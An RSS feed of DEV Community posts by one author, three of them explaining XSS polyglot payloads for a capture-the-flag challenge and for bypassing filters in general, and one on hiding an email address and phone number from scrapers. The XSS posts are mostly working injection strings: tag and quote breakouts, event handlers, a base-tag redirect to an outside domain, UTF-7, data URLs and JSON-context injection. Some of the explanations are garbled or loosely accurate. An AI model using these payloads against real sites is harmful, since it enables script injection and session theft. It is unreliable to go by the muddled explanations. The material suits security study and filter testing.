<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mrhili Mohamed Amine</title>
    <description>The latest articles on DEV Community by Mrhili Mohamed Amine (@mrhili).</description>
    <link>https://dev.to/mrhili</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F548131%2F53dc75e8-0eba-47cb-8be1-0d5c896d8548.png</url>
      <title>DEV Community: Mrhili Mohamed Amine</title>
      <link>https://dev.to/mrhili</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mrhili"/>
    <language>en</language>
    <item>
      <title>Polyglot solve most of Training XSS Muscles Challenge</title>
      <dc:creator>Mrhili Mohamed Amine</dc:creator>
      <pubDate>Sat, 14 Sep 2024 00:43:27 +0000</pubDate>
      <link>https://dev.to/mrhili/polyglot-solve-most-of-training-xss-muscles-challenge-2dg1</link>
      <guid>https://dev.to/mrhili/polyglot-solve-most-of-training-xss-muscles-challenge-2dg1</guid>
      <description>&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*&amp;lt;!--&amp;gt;
&amp;lt;/Title/&amp;lt;/Style/&amp;lt;/Script/&amp;lt;/textArea/&amp;lt;/iFrame/&amp;lt;/noScript&amp;gt;
\74k&amp;lt;K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//&amp;gt;&amp;lt;Base/Href=//X55.is\76--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Core Idea:&lt;br&gt;
This payload is designed to bypass several XSS filters and security mechanisms by working in various HTML contexts. It uses a combination of HTML and JavaScript tricks to inject a malicious payload, such as the &lt;code&gt;alert()&lt;/code&gt; function, in a variety of ways.&lt;/p&gt;

&lt;p&gt;Top-Level Concepts:&lt;br&gt;
Polyglot Basics:&lt;br&gt;
A polyglot is a payload that can execute in multiple contexts, typically both in HTML, attributes, or JavaScript contexts, making it more versatile for exploiting XSS vulnerabilities.&lt;br&gt;
The goal of this payload is to inject JavaScript and execute alert(1) across multiple contexts while bypassing filters.&lt;br&gt;
Polyglot Sections:&lt;br&gt;
JavaScript Execution with Optional Chaining:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;JavaScript://%250Aalert?.(1)//
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The JavaScript protocol triggers the payload in browsers that interpret JavaScript from URL protocols.&lt;br&gt;
%250A is the URL-encoded form of a newline character (\n), used to bypass URL validation or escape filters.&lt;br&gt;
&lt;code&gt;alert?.(1)&lt;/code&gt; is an optional chaining syntax in JavaScript. It executes alert(1) if alert exists, bypassing strict checks on direct calls to alert().&lt;br&gt;
// terminates the rest of the payload as a comment to avoid errors.&lt;br&gt;
HTML Tag Breakouts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;/Title/&amp;lt;/Style/&amp;lt;/Script/&amp;lt;/textArea/&amp;lt;/iFrame/&amp;lt;/noScript&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This section attempts to break out of various HTML tags like &lt;code&gt;&amp;lt;title&amp;gt;, &amp;lt;style&amp;gt;, &amp;lt;script&amp;gt;, &amp;lt;textarea&amp;gt;&lt;/code&gt;, and others.&lt;br&gt;
It ends the tags early (&amp;lt;/...&amp;gt;) so that JavaScript can be executed right after the tag, bypassing filtering or restrictions based on tag contexts.&lt;br&gt;
It’s compact since it doesn’t close each tag properly; just one closing symbol (&amp;gt;) suffices for all.&lt;br&gt;
Quote Breakouts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/*'/*\'/*"/*\"/*\/%26apos;)/&amp;lt;!--&amp;gt;`
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This section handles breaking out of quote contexts (", ', `&lt;code&gt;). It uses JavaScript comments&lt;/code&gt;(/.../&lt;code&gt;)&lt;/code&gt; to inject and terminate multiline comment blocks that might be initiated by filters.&lt;br&gt;
/&lt;em&gt;...&lt;/em&gt;/ is useful for multiline comments and ignoring filter checks.&lt;br&gt;
%26apos;) is an HTML entity escape code for ', used to break out of attributes or string contexts that use HTML entities for sanitization.&lt;br&gt;
Event Handler and Execution:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;`&lt;br&gt;
\74k&amp;lt;K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//&amp;gt;&lt;br&gt;
`&lt;/code&gt;&lt;br&gt;
&lt;code&gt;\74k&amp;lt;K&lt;/code&gt; is a trick to insert an arbitrary tag where \74 is the octal representation of &amp;lt;. This works to bypass filters that sanitize &amp;lt; by converting it into an octal entity.&lt;br&gt;
K is an arbitrary tag (can be any character) with the attributes contentEditable, autoFocus, and OnFocus.&lt;br&gt;
The &lt;code&gt;OnFocus=/**/{(alert)(1)}&lt;/code&gt; ensures that when the element gains focus, it executes the alert(1) function.&lt;br&gt;
Advanced Evasion Techniques:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;`&lt;br&gt;
&amp;lt;Base/Href=//X55.is\76--&amp;gt;&lt;br&gt;
`&lt;/code&gt;&lt;br&gt;
&lt;code&gt;&amp;lt;Base&amp;gt;&lt;/code&gt; is used for CSP bypass. If the base URL is set to a malicious domain like //X55.is, relative URL references to scripts or assets can trigger cross-origin requests, executing external malicious scripts.&lt;br&gt;
/76 is the octal code for &amp;gt;, and it's used to properly close the tag while bypassing filters that escape &amp;lt; and &amp;gt;. This is part of the trick where octal escapes are converted back into characters.&lt;br&gt;
HTML Comment Insertion:&lt;/p&gt;

&lt;p&gt;&amp;lt;!--&amp;gt; is a simple HTML comment injection that ends any HTML comment block started by a filter, allowing the payload to escape the context.&lt;br&gt;
Polyglot Logic:&lt;br&gt;
Bypassing HTML Filters: The polyglot uses tag closings, quote breakouts, and event handlers to escape multiple HTML tags and execute JavaScript in different contexts.&lt;br&gt;
Bypassing JavaScript Filters: Through commenting techniques (/&lt;em&gt;...&lt;/em&gt;/, //) and quote escapes, it handles multiline scripts and prevents syntax errors.&lt;br&gt;
Filter Evasion: By using HTML entities, optional chaining, and octal escapes, it bypasses common sanitization filters and CSP rules.&lt;br&gt;
Mind Map Summary:&lt;br&gt;
Polyglot Core:&lt;br&gt;
JavaScript Execution (alert?.(1))&lt;br&gt;
HTML Context Breakouts ()&lt;br&gt;
JavaScript String Injection:&lt;br&gt;
Escape Quotes (/&lt;em&gt;'/&lt;/em&gt;\'/&lt;em&gt;"/&lt;/em&gt;)&lt;br&gt;
Inline Comments and Multiline Escapes (//, /&lt;em&gt;...&lt;/em&gt;/)&lt;br&gt;
HTML Tag Evasion:&lt;br&gt;
Tag Close Breakouts ()&lt;br&gt;
Arbitrary Tag Injection with Event Handler ()&lt;br&gt;
Advanced Tricks:&lt;br&gt;
Octal Encoding for &amp;lt; and &amp;gt; (\74 and \76)&lt;br&gt;
CSP Bypass using  and external URL (Base/Href=//X55.is)&lt;br&gt;
Final Injection:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Mixed context polyglot triggering across multiple browsers and scenarios.&lt;br&gt;
This polyglot is highly effective in breaking out of multiple contexts, evading JavaScript string handling and HTML tag closures, and executing in both&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>xss</category>
      <category>javascript</category>
      <category>ctf</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Creating Powerful XSS Polyglots</title>
      <dc:creator>Mrhili Mohamed Amine</dc:creator>
      <pubDate>Fri, 13 Sep 2024 10:11:31 +0000</pubDate>
      <link>https://dev.to/mrhili/creating-powerful-xss-polyglots-1g1m</link>
      <guid>https://dev.to/mrhili/creating-powerful-xss-polyglots-1g1m</guid>
      <description>&lt;p&gt;Polyglot payloads leverage multiple encoding, injection, and obfuscation techniques to bypass filters, confuse parsers, and trigger execution across different contexts like HTML, JavaScript, CSS, JSON, etc.&lt;/p&gt;

&lt;p&gt;-Merging Comment Styles&lt;br&gt;
Polyglots often confuse parsers by merging different comment styles:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;JavaScript: //, /* */
HTML: &amp;lt;!-- --&amp;gt;

&amp;lt;!--&amp;lt;script&amp;gt;/*--&amp;gt;&amp;lt;svg onload=alert(1)/*&amp;lt;/script&amp;gt;--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Using Encoded Entities&lt;br&gt;
Bypassing filters using HTML or URL encoding:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTML: &amp;amp;lt;, &amp;amp;gt;, &amp;amp;quot;
URL: %3C, %3E, %22
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;amp;lt;script&amp;amp;gt;alert(1)&amp;amp;lt;/script&amp;amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Multiple Language Contexts&lt;br&gt;
Polyglot payloads work across multiple languages like HTML, JavaScript, CSS.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"&amp;gt;&amp;lt;svg onload=alert(1) style="background:url(javascript:alert(1))"&amp;gt;&amp;lt;!--
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Breaking Out of Contexts&lt;br&gt;
Escape from current contexts like textarea, script, or style.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;/textarea&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Abusing HTML5 Elements&lt;br&gt;
Using modern elements like , , or .&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;svg onload=alert(1)&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;iframe srcdoc="&amp;lt;svg onload=alert(1)&amp;gt;"&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;math&amp;gt;&amp;lt;mtext&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/mtext&amp;gt;&amp;lt;/math&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Contextual Event Handlers&lt;br&gt;
Inject event handlers into HTML tags like onload, onmouseover.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div class="x" onmouseover="alert(1)"&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Combining HTML, JavaScript, and CSS&lt;br&gt;
Mixing contexts of HTML, CSS, and JavaScript.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Utilizing SVG and XML Features&lt;br&gt;
SVG allows injection via JavaScript URIs and other XML-based features.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;svg&amp;gt;&amp;lt;image href="javascript:alert(1)"&amp;gt;&amp;lt;/svg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Protocol Confusion (Data URLs, JavaScript URLs)&lt;br&gt;
Use javascript: or data: URLs for payload delivery.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;a href="javascript:alert(1)"&amp;gt;Click me&amp;lt;/a&amp;gt;

&amp;lt;iframe src="data:text/html;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+"&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Breaking with Newline Characters&lt;br&gt;
Using newlines \n or carriage returns \r to bypass filters.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"onmouseover=\nalert(1)//"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Polyglot Structures&lt;br&gt;
Payloads that work across multiple languages like CSS and JavaScript.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;*/ alert(1) /*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-UTF-7 Encoding&lt;br&gt;
Using less common encodings like UTF-7.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+ADw-script+AD4-alert(1)+ADw-/script+AD4-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Using HTML5 Injection Vectors&lt;br&gt;
Use modern HTML5 vectors like srcdoc, formaction, or sandbox.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;iframe srcdoc="&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;"&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-Multiple Closings &amp;amp; Layering&lt;br&gt;
Close different tags to break out of nested contexts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;/textarea&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Best Practices for Polyglot Payloads&lt;br&gt;
Diversify Attack Vectors: Use multiple elements like , , &amp;lt;script&amp;gt;.&amp;lt;br&amp;gt;
Encoding: Use HTML or URL encoding to bypass filters.&amp;lt;br&amp;gt;
Event Handlers: Combine with event handlers like onmouseover, onload.&amp;lt;br&amp;gt;
Context Escaping: Focus on breaking out of strings, attributes, or tags.&amp;lt;br&amp;gt;
Minimize Payload Length: Keep payloads short to bypass length restrictions.&amp;lt;br&amp;gt;
These techniques show how polyglot payloads can bypass modern filters by using multiple languages and contexts.&amp;lt;/p&amp;gt;
&lt;/p&gt;

</description>
      <category>xss</category>
      <category>javascript</category>
      <category>html</category>
      <category>hacking</category>
    </item>
    <item>
      <title>What is a polyglot in Hacking</title>
      <dc:creator>Mrhili Mohamed Amine</dc:creator>
      <pubDate>Fri, 13 Sep 2024 09:43:49 +0000</pubDate>
      <link>https://dev.to/mrhili/what-is-a-polyglot-in-hacking-c3b</link>
      <guid>https://dev.to/mrhili/what-is-a-polyglot-in-hacking-c3b</guid>
      <description>&lt;h2&gt;
  
  
  Polygloting in language is talking two languages or more
&lt;/h2&gt;

&lt;h1&gt;
  
  
  Polygloting in hacking is like testing two thing or more in the same time
&lt;/h1&gt;

&lt;p&gt;XSS Polyglots: Technical Payloads&lt;br&gt;
Basic Polyglot Example&lt;br&gt;
Escape common string filters in both HTML and JavaScript contexts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;img src=x onerror="';alert(1)//"&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works in cases where an input is included in both JavaScript and HTML, bypassing simple quote escapes.&lt;/p&gt;

&lt;p&gt;Escaping Multiple Contexts&lt;br&gt;
HTML + JavaScript + SQL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;';alert(1);//--&amp;gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exploits SQL injection followed by triggering a JavaScript alert within HTML.&lt;/p&gt;

&lt;p&gt;Injecting Through HTML Attributes&lt;br&gt;
Use different HTML elements and attributes to escape.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div class="{{payload}}"&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;script type="text/javascript"&amp;gt;{{payload}}&amp;lt;/script&amp;gt;
&amp;lt;style&amp;gt;{{payload}}&amp;lt;/style&amp;gt;
&amp;lt;textarea&amp;gt;{{payload}}&amp;lt;/textarea&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Polyglot Payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;" onmouseover=alert(1)//
' onmouseover=alert(1)//
&amp;lt;/textarea&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;XSS via Multiple HTML Tags&lt;br&gt;
Expand attack vectors by targeting various HTML tags:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;noscript&amp;gt;{{payload}}&amp;lt;/noscript&amp;gt;
&amp;lt;noembed&amp;gt;{{payload}}&amp;lt;/noembed&amp;gt;
&amp;lt;template&amp;gt;{{payload}}&amp;lt;/template&amp;gt;
&amp;lt;select&amp;gt;&amp;lt;option&amp;gt;{{payload}}&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Polyglot Payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;" onmouseover=alert(1)// 
' onmouseover=alert(1)// 
&amp;lt;/textarea&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;
&amp;lt;/style&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;XSS in HTML Comments&lt;br&gt;
Even comments can be abused if not properly sanitized.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!--{{payload}}--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Polyglot Payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;--&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Advanced Payload Combination&lt;br&gt;
Combine various contexts to craft a versatile polyglot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div class="{{payload}}"&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;textarea&amp;gt;{{payload}}&amp;lt;/textarea&amp;gt;
&amp;lt;style&amp;gt;{{payload}}&amp;lt;/style&amp;gt;
&amp;lt;script&amp;gt;{{payload}}&amp;lt;/script&amp;gt;
&amp;lt;!--{{payload}}--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ultimate Polyglot Payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;" onmouseover=alert(1)//
' onmouseover=alert(1)//
&amp;lt;img src onerror=alert(1)&amp;gt;
&amp;lt;/textarea&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;
&amp;lt;/style&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;
&amp;lt;/noscript&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;
&amp;lt;/noembed&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;
--&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Obfuscated Payload&lt;br&gt;
Use HTML entities or JavaScript obfuscation to bypass filters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;svg/onload='&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#49;&amp;amp;#41;'&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;JSON + XSS Polyglot&lt;br&gt;
If the payload is passed into JSON:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{"key":"\"},\"anything\":\"&amp;lt;img src=x onerror=alert(1)&amp;gt;//"}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This closes the JSON key, injects the XSS, and continues the valid JSON.&lt;/p&gt;

&lt;p&gt;Conclusion&lt;br&gt;
These payloads represent different ways of exploiting XSS vulnerabilities using polyglots. By targeting multiple contexts—such as attributes, scripts, and comments—you increase your chances of bypassing filters and exploiting vulnerabilities effectively.&lt;/p&gt;

&lt;p&gt;This approach makes it versatile, with focus on injecting through multiple contexts using minimal characters.&lt;/p&gt;

</description>
      <category>security</category>
      <category>xss</category>
      <category>pentest</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Protecting My Email and Phone from Bots on My Website: A Simple HTML Approach</title>
      <dc:creator>Mrhili Mohamed Amine</dc:creator>
      <pubDate>Mon, 11 Sep 2023 22:33:32 +0000</pubDate>
      <link>https://dev.to/mrhili/protecting-my-email-and-phone-from-bots-on-my-website-a-simple-html-approach-n0n</link>
      <guid>https://dev.to/mrhili/protecting-my-email-and-phone-from-bots-on-my-website-a-simple-html-approach-n0n</guid>
      <description>&lt;p&gt;In today's digital age, maintaining online privacy has become increasingly important. As a website owner, one of my top priorities is safeguarding personal information from malicious bots that can scrape email addresses and phone numbers. In this blog post, I'll walk you through a simple HTML approach I've taken to obfuscate my email and phone numbers on my website.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Challenge
&lt;/h2&gt;

&lt;p&gt;Bots and web crawlers are constantly scouring the internet for email addresses and phone numbers to send spam or use for other malicious purposes. To combat this, I needed a way to display my contact information on my website while making it difficult for bots to extract that information.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Solution
&lt;/h2&gt;

&lt;p&gt;To address this issue, I turned to HTML and CSS for a straightforward and effective solution. Let's take a look at how I obfuscated my email and phone numbers using simple HTML tags and CSS classes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"about-info"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"title-s"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Name&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;Amine Online&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"title-s"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Profile:&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;Multifaceted&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"title-s"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Email&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"at-symbol"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;#64;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;hotmail.com&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt; is -&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;amine-ghandi&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"title-s"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Phone: +212&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"phone"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;6-33&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"hash-symbol"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;#&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;49-42&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"hash-symbol"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;#&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;75&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Obfuscating Email
&lt;/h2&gt;

&lt;p&gt;To obfuscate the email address, I broke it into two parts: the username (amine-ghandi) and the domain (hotmail.com). I used the arrow -&amp;gt; as -&amp;amp;gt to point at the username and the &lt;code&gt;&amp;lt;span class="at-symbol"&amp;gt;&amp;amp;#64;&amp;lt;/span&amp;gt;&lt;/code&gt; to draw the  @ symbol.&lt;/p&gt;

&lt;h2&gt;
  
  
  Obfuscating Phone Number
&lt;/h2&gt;

&lt;p&gt;Similarly, I obfuscated the phone number by splitting it into segments using the phone class and added a CSS class (hash-symbol) to display "#" symbols between the segments. This makes it challenging for bots to recognize it as a phone number.&lt;/p&gt;

&lt;h2&gt;
  
  
  Benefits of This Approach
&lt;/h2&gt;

&lt;p&gt;By using simple HTML and CSS, I've made it more difficult for bots to harvest my email address and phone number. While this method may not provide foolproof protection, it adds an extra layer of security to my online presence without the need for complex coding or images.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

